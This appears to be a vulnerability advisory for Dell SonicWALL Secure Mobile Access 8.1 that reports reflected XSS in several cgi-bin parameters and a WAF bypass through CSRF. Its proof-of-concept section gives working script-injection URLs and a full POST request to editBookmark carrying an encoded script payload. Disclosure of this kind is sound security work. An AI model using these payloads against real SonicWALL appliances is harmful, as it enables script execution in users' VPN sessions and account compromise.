Dell SonicWALL Secure Mobile Access SMA 8.1 XSS And WAF CSRF

### Summary Keep up with the demands of today’s remote workforce. Enable secure mobile access to critical apps and data without compromising security. Choose from a variety of scalable secure mobile access (SMA) appliances and intuitive Mobile Connect apps to fit every size business and budget. ### Description SonicWALL SMA suffers from a XSS issue due to a failure to properly sanitize user-supplied input to several parameters. Attackers can exploit this weakness to execute arbitrary HTML and script code in a user's browser session. The WAF was bypassed via form-based CSRF. ### Vendor Dell Inc. - https://www.sonicwall.com/products/secure-mobile-access/ ### Affected Version 8.1 (SSL-VPN) ### Tested On SonicWALL SSL-VPN Web Server ### PoC Reflected XSS via protocol parameter (GET): ``` https://127.0.0.1/cgi-bin/ftplauncher?protocol=sftp:</script><img%20src=a%20onerror=confirm(1)>&bmId=55 ``` XSS via arbitrary parameter (GET): ``` https://127.0.0.1/cgi-bin/handleWAFRedirect?hdl=VqjLncColvAAAF4QB2YAAAAT&<script>alert(2)</script>=zsl ``` XSS via REMOTEPATH parameter (GET): ``` https://127.0.0.1/cgi-bin/soniclauncher?REMOTEPATH=//servername/share/</script><img%20src=a%20onerror=confirm(3)>&bmId=59 ``` WAF Cross-Site Request Forgery PoC: ``` POST /cgi-bin/editBookmark HTTP/1.1 Host: 127.0.0.1 bmName=%2522%253e%253c%2573%2563%2572%2569%2570%2574%253e%2561%256c%2565%2572%2574%2528%2533%2529%253c%252f%2573%2563%2572%2569%2570%2574%253e%250a&host=2&description=3&tabs=4&service=HTTP&screenSize=4&screenSizeHtml5=4&colorSize=3&macAddr=&wolTime=90&apppath=&folder=&appcmdline=&tsfarmserverlist=&langsel=1&redirectclipboard=on&displayconnectionbar=on&autoreconnection=on&bitmapcache=on&themes=on&rdpCompression=on&audiomode=3&rdpExperience=1&rdpServerAuthFailAction=2&charset=UTF-8&sshKeyFile=&defaultWindowSize=1&kexAlgoList=0%2C1%2C2&cipherAlgoList=&hmacAlgoList=&citrixWindowSize=1&citrixWindowWidth=0&citrixWindowHeight=0&citrixWindowPercentage=0&citrixLaunchMethod=Auto&forceInstalledCheckbox=on&icaAddr=&vncEncoding=0&vncCompression=0&vncCursorShapeUpdates=0&vncUseCopyrect=on&vncRestrictedColors=on&vncShareDesktop=on&MC_App=inherit&MC_Copy=inherit&MC_Print=inherit&MC_Offline=inherit&name=1%22+javascript%3Aconfirm(251)%3B&type=user&owner=zslab&cmd=edit&parentBmId=0&ownerdomain=ZSLAB&serviceManualConfigList=undefined&wantBmData=true&swcctn=1NcP8JhUY10emue9YQpON1p2c%3D6P0c9P&ok=OK ```